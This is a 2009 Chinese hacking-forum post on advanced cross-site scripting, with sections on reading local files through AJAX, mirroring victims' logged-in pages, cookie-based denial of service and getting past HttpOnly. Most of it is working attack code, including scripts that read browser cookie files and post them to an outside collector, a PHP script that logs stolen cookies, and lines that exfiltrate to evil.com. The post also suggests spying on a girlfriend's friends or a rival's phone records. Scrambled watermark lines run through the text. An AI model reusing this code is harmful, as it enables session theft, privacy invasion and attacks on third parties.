XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

8 R4 Z. f" B6 b0 A% sXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
: P' }2 V: W4 `1 M8 |1 v" l5 m3 U" thttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权


1 H  n+ B1 r& m5 t! S
-------------------------------------------前言---------------------------------------------------------
# {8 E! ]2 s/ [, V

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
  A$ {9 f1 r* W4 P# N4 ?. thttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
2 t8 M% e: X4 k7 e% zhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
6 l9 _1 I& s9 v4 t$ A2 N3 G  Thttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
7 L2 l# t' E4 {9 n% `http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
( _( G, E* E4 w' P

8 d) b4 Z- y  \0 H, O1 j; T, I

/ x) O* ]- n# Y' a0 F9 o1 Y如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
& `5 t1 Z3 E- {4 n
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

" q+ i- G% B2 `/ d* [# C$ [1 s( oOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
3 o; A+ M% W* D; i  f* Q6 i
..........
/ c/ ~7 u+ K" b复制代码------------------------------------------介绍-------------------------------------------------------------
/ r2 D0 o* H5 h
) O" o1 x% b$ f" d% g. z什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
$ C0 l; `& @: w4 i) |

: v# o0 H6 u5 u/ ^
8 ~/ p# v, g5 Z2 @% X% e3 A" }4 y跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
; u$ j. c5 O3 W* A2 `$ ^; ~
9 @# z+ b/ [% O5 [: q9 y3 e0 o4 n

4 L+ s1 n/ e6 _0 m如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
9 Z" X7 u; Q- H& y复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
  U5 a$ \* J5 y0 P, M1 t我们在这里重点探讨以下几个问题:
* a; [, }# C/ q% h, J0 g5 s8 f
1        通过XSS,我们能实现什么?
: Z$ P$ ]# K3 [# U  [
2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

- ?1 R4 w: {; O+ X6 _3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
7 e/ c+ `+ Y1 W6 B1 O3 D) D
4        XSS漏洞在输出和输入两个方面怎么才能避免.
7 y! P# f+ L: ^- e& {

4 d2 }  e9 t) I+ x  A' o$ c( q# i
& s# e/ }( ?, J* ~( }; A------------------------------------------研究正题----------------------------------------------------------
$ b/ J, t* v. J1 X' N% a


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
5 o5 Z9 M- ~$ K3 k* d& s2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
2 O, n3 Y( P: a, @3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
  |3 N! R6 B5 w. _/ d4:Http-only可以采用作为COOKIES保护方式之一.
2 s& ~6 O4 Q2 t/ @; k& Z
  {9 @& E8 j' ]8 u% k: D



" t* t8 y! E1 K# ^# F; m(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)


. \, G8 B3 l3 W* ^! t! H* x3 ~. p
) Q8 B  |/ N& t7 E+ ^    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



* W/ R7 _' X3 b4 Z) _    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
8 q  {0 H2 H% @
) G0 y9 t+ x% V$ J, Q) b1 m, q

, n! Y) g1 x  K  q    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
9 J7 A; i6 s. Y9 S7 P
    function $(x){return document.getElementById(x)}
9 U; K% c. K$ V& W" o$ U
2 y/ l5 t& T8 u! ^! t$ P1 t( D

    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
  d- \' ~0 \+ y3 Z! m
    request = new XMLHttpRequest();
% S" h+ m2 c8 A% J' ?
# J0 |8 l$ _$ Y% ~    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
4 X# u4 j6 k. L( i
* a8 D: j& V1 R. A0 w8 E% `
, a( |8 z- ]* s) g1 y& f
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
% T7 `* {& q2 b) {0 L4 n% ?
: O1 w6 V$ ?+ Q, P* B6 c& A    try {

    request = new ActiveXObject(versions);

8 _9 c7 E3 ]( X( o$ h3 F    } catch(e) {}

6 z1 p( S5 r2 Y6 F# @" J    }
" S& b; @+ l0 H# w& a/ Y7 K! ], S) k
    }
9 d% \# @) m# ^% T7 u) J/ w* O
: p0 {8 `- ^, \7 a3 u- e    return request;
/ B: R0 z, b8 o0 _5 `+ ?0 G8 s0 x8 i& d
    }
6 G) t- r. |6 c! M
    var _x = ajax_obj();

0 p& g. g2 o4 O1 G: {4 ^$ ^$ \8 y5 w    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ y/ |2 h* a  q
    _x.send(argv);
+ F+ \  h" S$ ]6 ]+ u( A7 P$ X# w- d6 }
    return _x.responseText;
! f. Z) M# ~$ z: x3 X1 e
    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
) _# l" I& Y  Q& z# r  L
% f5 E( Q9 e7 S& K2 t% V    alert(txt);
  d/ c$ W! G( l% @; E+ c7 h
) V2 m+ ?; v, ^" b# y  A

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
8 B7 l- ?& r3 Q4 O
    function $(x){return document.getElementById(x)}
& `( |4 y" Y3 z


    function ajax_obj(){

    var request = false;

: Y: _; Y- A- J" z( \, F) ]    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

, K3 b% E$ _, j& \1 n% Y    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


7 T. c+ _+ k$ m+ u0 _2 @1 W/ H+ k
3 ]" `% C! @+ K; G0 ]3 H    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
# ?# \7 ?& U# {+ d* h
5 q& R. p, w6 K. I6 L    for(var i=0; i<versions.length; i++) {
. q  P% |& Z  H* b3 @8 a; ^
    try {

    request = new ActiveXObject(versions);
' x5 O$ B/ B. e
. Y+ i( p" u# z9 R" W1 h( P" P5 B' Y    } catch(e) {}

    }

    }
% N- h. e( s" J4 Q$ n* d
/ t9 ^' Z: R, r$ F9 @7 B    return request;

    }

/ i* f0 |8 \3 x9 B  t3 {$ M' N9 u* T    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
% u( n; N" a' G" l  M; T
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

* u- E5 w7 Q0 N! N5 C    _x.send(argv);
+ M, \8 R4 d0 V6 @7 K
    return _x.responseText;

/ y, i( b. d$ O    }
6 u& Q! F+ V/ h/ [# n* X
) m* R4 b5 `$ c" |/ F. F

0 _/ G0 C  ^: q* }5 ^* V    var txt=_7or3("GET","1/11.txt",null);

: F5 y1 ~! P* B9 t    alert(txt);
# b9 X8 w$ d0 T( ^8 Q5 w
; ?+ o- q" J1 U2 S4 q& r) z( p
. u) a2 m" W2 i: w( L* w$ B2 R# @' G5 @; D
$ N8 L1 o/ p* I. y' a6 ~" W# [' E    </script>
: K: r7 ]1 g- d) Q) D! h; J+ @# P复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


+ X( T2 {6 A6 u1 ^# m
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
: l( t4 r/ d  b9 _: E
- `+ C8 L% `+ I7 y# C

<?   

. _9 d0 i& f& M4 _$ C/*  
5 R' @0 f  y: e6 o0 k9 C: j
- B" Z( a" Z4 P     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
( h* O4 z5 e8 Q2 _
     www.inbreak.net   
$ E  Z% R- L/ m4 L
% ^6 H. |7 ?, c& p     author voidloafer@gmail.com 2009-4-22   
) ^# y8 S! n* r$ [8 B- X
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

: X% ~* s! y  G; k- u  y*/  

9 t& A6 z1 s4 f! \: gheader("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   
2 n! n+ c- k  p# k9 e3 {$ g) X8 Z
/*  
/ K) D+ [8 T( h
     set header, so just download html file,and open it at local.  

*/  
* ^$ S$ Y* v( }7 A( ~3 e8 O" @
/ _+ o; c1 M. ?2 j; {?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

2 k3 U& \7 u$ Y) R; [' m     <input id="input" name="cookie" value="" type="hidden">   

</form>   

* M% R6 O7 ?% X1 m7 p. `( M3 N<script>   

function doMyAjax(user)   
+ G) D1 A) S2 z; a$ K: j- ?1 l
# e5 N& l3 e0 }% o# Z{   

- p/ J+ d" Q- hvar time = Math.random();   
1 x8 R  H& q% W( i( J5 f
/ M$ F1 ^) w0 H/*  
6 p4 i6 m& a( C$ @# n
8 ]5 L# A. P% x- t. }6 M, }( Xthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
+ C) [# @: d8 Q* H3 b4 [
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
: M& M3 K. w- x2 _6 n1 f# O
and so on...  

*/  
' P0 m* a4 F) u- e2 r4 i
% L: D7 R( {! e5 {/ l2 z' Bvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

# K( D% j% `2 u9 c- G+ _  u   

startRequest(strPer);   



. U( d" ]( O* Z( ]* U}   

$ B+ U7 w" K6 w% p3 U- `   

function Enshellcode(txt)   

{   

var url=new String(txt);   
+ W, w- C) ~" v
3 T4 p, v5 {: ~8 r# s, e8 H( r( evar i=0,l=0,k=0,curl="";   

3 M( i: i- M5 x- ]6 S% Nl= url.length;   
8 ]$ X0 `; ~. u3 b! W7 C
for(;i<l;i++){   

k=url.charCodeAt(i);   
, M) K* p: K# P- m& [" t3 u
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

  R9 J. m9 ~1 l% t7 J/ qif (l%2){curl+="00";}else{curl+="0000";}   

curl=curl.replace(/(..)(..)/g,"%u$2$1");   
6 h7 b  s/ h7 l' t5 @. D6 @
9 x& \5 [% ~. q" F* wreturn curl;   

8 y5 C" ]! g3 t* A}   

   

$ z- ]5 F/ [# a7 b, ]   

var xmlHttp;   
6 |4 k7 J9 `6 j
: j, Z/ t- h7 C, [6 M0 c# F$ w6 Ufunction createXMLHttp(){   
7 k  C# D' R! h. H+ B
     if(window.XMLHttpRequest){   

  e+ t% o3 Y+ r/ T1 X2 }  XxmlHttp = new XMLHttpRequest();           

     }   
. [" J3 @/ M# s; ^
9 I& X8 ^3 P# o4 O: k     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
: i% E6 K/ d9 W9 v- o: D
6 V' u; q9 b: p9 G5 O- b}   

8 c) s. Q, n, A$ ^/ g   
1 D: M/ S- U) n' f8 E- g
function startRequest(doUrl){   
0 D" }% ^( a7 h4 Z7 Q
   

9 Q( d: x$ V( o, ?     createXMLHttp();   

1 }6 N9 u) e8 n) Q4 j; y
! j& w  h. I4 l: I: N/ g& n7 P
4 O) w+ w& D2 R6 m. B" g0 M* Z3 D     xmlHttp.onreadystatechange = handleStateChange;   

2 N5 N1 f$ [6 y5 s* y% B

     xmlHttp.open("GET", doUrl, true);   
" Q: P6 Z! I; T% f# p* z
' I4 X, U& I3 g" g( _6 E
$ j2 q) c7 x1 P1 I
( A& L4 A) w' _     xmlHttp.send(null);   
- b7 N  I, |/ m$ ?& M! F

8 @2 \0 X% ~1 v& I. _

8 G  h7 [" E7 ?* A! Z# j) H
}   

   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   
1 I6 ^: E# z- c& w- A3 `$ g
1 R& K9 J5 J7 B: T2 X. I     var strResponse = "";   

     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
1 {" M' B6 p0 ^- Y2 B
        

     }   

, Z$ _" l9 u& A  u+ a- `}   

  d! m- w4 L% ?9 w   
5 ]- j9 K0 C* H1 D- x7 L& m
   
3 l* `, K6 d, S
7 p3 c5 E+ h0 K2 \6 _function framekxlzxPost(text)   

{   

- h- e6 r* e# I1 M8 h3 U     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
0 _, m) R) K$ V: }+ G
; N! C1 g5 A: m& p- B( X4 H}   
9 [2 P* L, @; A3 F
   
* y  E( I3 }& f
doMyAjax("administrator");   

   

</script>
  G. f* @. P! \复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
6 T+ {4 h* V1 B& r3 S- ^
var xmlHttp;  

0 ~. H$ N: U$ y# \- Afunction createXMLHttp(){  

     if(window.XMLHttpRequest){  

" |+ y) V+ U- M% f" ?6 S$ |         xmlHttp = new XMLHttpRequest();         
  {, E, R& }6 b* Q
     }  
8 A) B; \, y6 }8 \, L
     else if(window.ActiveXObject){  

. u5 R- Y( B/ f" h) f         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

     }  
7 |) s) t+ I9 \; _
}  
1 m& {; ?2 Z5 E6 |0 W
   

function startRequest(doUrl){  
5 x1 |, ]0 M3 o
$ a% q& Z4 i/ N/ r& T7 y! j           

     createXMLHttp();  
9 v( c$ T. N  z4 J' H2 B1 I. h) A
" _3 v2 C$ A. \; k      

! n9 w. T; z, L. T3 b0 u9 b/ B     xmlHttp.onreadystatechange = handleStateChange;  

: c) ~- }( N. f5 e% g# _) ~      
' d  f' ]& `; J. U6 Z
     xmlHttp.open("GET", doUrl, true);  

      

     xmlHttp.send(null);  

      

      

2 }9 W: [+ W& Y7 f0 H: @( m}   

   

+ R9 `6 a) m0 L0 Q4 ]& Qfunction handleStateChange(){  

+ W9 j. [( B, ?: u  `     if (xmlHttp.readyState == 4 ){  
$ I5 q0 E! F6 T9 J
             var strResponse = "";  
4 D+ U: G: {  X; F" V' E& d
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
9 n0 \8 P. j6 r; R
, q- x6 \' W9 B               
; v* g! p% p% A. E) e4 \
. G6 e2 {% C, H$ S- ^     }  
& l( j5 m, H  ^0 E: f
. i) ~! r% _$ ^6 z/ D2 [}  

   

8 h1 f* W9 F7 @function doMyAjax(user,file)  
' D9 J& S4 Z4 m0 q* o& }: f
{  
  S9 b8 H3 |( J
8 m) }' p4 @$ ?$ B- h2 B  O         var time = Math.random();  

4 y2 x/ u3 a! K+ X, e( l" C$ G/ p           
% A1 X9 n4 w! G1 @' P% _/ |
6 U3 w/ m6 a. [% l2 r         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

4 O, f# u! H1 ?* W6 Z2 ^7 m           

! @! _  r9 l# n( C3 t. I         startRequest(strPer);  

2 d# M( u$ e! t9 }      

  w7 l$ e3 y- k; S# g; l}  

" a; V$ i8 U# a$ c  o   

+ j0 z7 a! Q& Z- F# }1 z* hfunction framekxlzxPost(text)  
0 g$ a" G& e5 A: C! B
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
; W( u2 r9 q/ N1 K6 ]
  \1 d( S9 e0 Q8 x2 r% A9 ?     alert(/ok/);  

}  
) [+ w" `3 i5 U  |* _. J+ z
   

doMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>
( Z* J$ b4 Y$ \: O* a' M3 K
; f; z" t/ c0 _9 U



: T- N$ P9 a" |# `, J5 S: X/ I: |a.php
2 t) @6 r$ t6 y1 L! P( z
/ m, t" H) H& m" U6 ~" |) a

<?php      

   
3 v- X* R6 U/ O! m. h) Z: L
9 y. }2 `# i; c, j# l" c$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

7 X* c) x# A: m+ b& Z* H& E: F4 j$ A$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

' e, f9 ?, a1 ufwrite($fp,$_GET["cookie"]);      
- v4 ]$ J8 w+ s( \: H/ \3 V
fclose($fp);   
, T! `" f5 V% A  I( a4 R  o' w
?>
( Z) @4 a+ k2 {  c8 L0 Z" w复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
& j: V# r- m4 J1 @# Z
8 r+ V/ x1 I8 l+ {, U( _7 R或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
* c2 t" H& G  P
1 v# r$ Z, x# Y1 Z  C2 S代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

, ]4 R/ X$ I0 p' y2 s. v//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

  P& @% ]9 f6 ~( c' s( u# {function getURL(s) {

var image = new Image();

, H0 V; B( B+ J0 T. Cimage.style.width = 0;
7 f0 P- d6 K6 C
! A( O9 r* R5 h8 L  v; |; ?image.style.height = 0;
" d3 M1 i( Y, u
. V3 k' d+ q* ~, P8 I' `5 Aimage.src = s;
0 {5 q: p, T( [
}

, R* R" F/ i% d* W1 U' k1 OgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
# e! U- H4 p9 q2 f2 o0 s4 U复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
* K3 i7 R. ~4 p1 _5 n这里引用大风的一段简单代码:<script language="javascript">

' N: }# A/ `' q) u/ r* d& _, rvar metastr = "AAAAAAAAAA"; // 10 A
# ]. Y0 M+ N0 {2 O' e
2 I( \$ N' k/ \5 i) Cvar str = "";
3 C: n: x3 D$ J  N( o
# P4 i. G1 V  e' ^% B/ w6 j5 twhile (str.length < 4000){

$ j: @+ I/ `6 G) H1 h* R    str += metastr;
/ }+ k: e/ o' |
}
, [2 x0 f3 w2 ~5 P: g: E
! Y; R# P+ H: D. r1 J/ l
! W! p4 `1 C3 u! t/ d0 O' @2 y
, W7 `8 X; Y$ \4 udocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>
+ ~) v/ h$ k) M$ S1 W* E
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
' G4 X$ D' {1 _4 A" v/ y' ~复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
) t2 i# C5 k1 [5 L2 _/ e# P
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
, F( k1 v" R9 R' d# _

. N5 c0 m3 l, G# \  j
/ E  i2 L/ f. z, j

- x1 k6 W( @! s2 O/ J1 C
(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

/ M& v+ d2 U' x+ B0 o# z<!--

function normalCookie() {
( c6 `/ g- Y- {8 ^
. u. ^1 b; A, y6 pdocument.cookie = "TheCookieName=CookieValue_httpOnly";

) [/ C% T! n7 w5 \alert(document.cookie);
/ _5 N( X  P# c. K
( j% M: f8 V. F& F- t3 x# D}




) e+ k! A1 r" R, ?+ ^/ S
+ D9 `. @2 B+ E7 Afunction httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

' `  w% \- k. Lalert(document.cookie);}


7 O! a) V9 x( b$ @, _+ E7 p
//-->
/ M; k3 f0 w  }
# b  X- i' ]5 F( ~  B! r  B</script>


% \9 F) P5 [1 D5 Q8 `
  a% i: N' Q2 B3 b/ P0 Z& m<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
6 n; U$ A$ G- r! s6 ?
; U; e5 c/ {1 h- R1 l0 z6 a<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
- @/ O2 i& C5 I1 T/ R复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
: p; t! f2 A, Y% }
6 C$ Y+ k0 N7 n

var request = false;

6 m' b2 Q! G' ~) i5 s, q8 k: U4 o) S        if(window.XMLHttpRequest) {
6 t" W7 l: B0 Q, z8 N' F8 k
9 t0 y/ J1 y8 h4 ]& \! z5 ~            request = new XMLHttpRequest();
1 \7 n# H+ B. z6 {3 T. H: y
            if(request.overrideMimeType) {

  c; M2 E- g$ w8 L$ D  ^                request.overrideMimeType('text/xml');
0 E" B8 R- F1 }# {% y  ?, B4 b( D
            }

8 ?: a% e, k# v, T9 o& B        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
# v' C- ]6 ]) R0 K* G
                try {
5 d1 F3 M1 P0 f3 U9 ?% A
) c, {& ?' H# i/ @, K                    request = new ActiveXObject(versions);
- [0 k" b6 T- O1 `& \: ^
                } catch(e) {}

( }; U9 E% ^' ^7 y+ f            }

2 g8 ~- M1 e4 g# j* y        }
' z' i. s2 e% E* v
xmlHttp=request;
) W" g# S9 r0 E. A) k! c( {
' Q/ h& e, f' `) K# l" ^xmlHttp.open("TRACE","http://www.vul.com",false);

# v( M( {/ X% u4 j1 \* Z, _5 BxmlHttp.send(null);

& c2 P- |- @1 gxmlDoc=xmlHttp.responseText;

, X$ l4 R; ]! b! k, Palert(xmlDoc);
8 z  _& t! N- @; i% j, h+ g% T0 t
% R( w7 e- W  U( ]+ `" Y6 l</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
( P; G0 h7 u( t" T: T0 e, x; A
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
6 N& K9 X0 K# q: j
XmlHttp.send(null);

% m# a9 n# Y. C- _1 y: ivar resource=xmlHttp.responseText
& z% C. O' `5 I8 e/ f/ h
8 @% Z5 f7 g. m* u* S8 G+ q" Qresource.search(/cookies/);
1 m( V/ _0 C( N& D1 i
+ V7 s3 Z2 M& v0 [6 n......................

7 N! v% [1 ?( [</script>
. b+ q9 `9 W* e: ?




, {2 Z- J; U" S9 _3 {2 w如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
7 _* B1 n) q( G
2 f7 e; M4 J  P  g  M[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
4 }4 N0 A' `  }) K1 x  g; A

: E! I* m2 O& L, R: n7 |
" ^. b) v  p* s3 O& zSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
0 Q0 x, u9 G9 G' c; z2 o) T8 T( ?4 K
acl TRACE method TRACE
. x% ^& I% I( v$ o7 y3 G
8 J' D, F- X2 X# P" a7 e5 f1 e9 G  b...
/ I. l: S0 f4 z+ p6 [7 a& p9 y& c
$ R$ }9 W  F" I: W0 o1 s6 |9 Nhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

: s, q, A1 x5 P, N# k- Evar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 X0 w0 L. w8 z& I2 @) M" @' O
' k2 d* M" E, s- v7 F- XXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
/ X/ m, [0 K) j7 [  ?( \
XmlHttp.send(null);
- I, F. R7 O  G* E
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

% h# `3 P' n6 A5 Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

: p$ ]; v2 o6 v3 a0 P: }
) w- u+ R5 X  e
' ?8 u. r" y8 Z6 u& f9 mXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

( a- v0 g7 s3 k+ VXmlHttp.send(null);
  O% H' l& r- O1 z" Q0 ]. W! i1 e
  |7 k, R7 Y' \) _<script>
5 u4 W0 b% w/ f! O# {! u复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
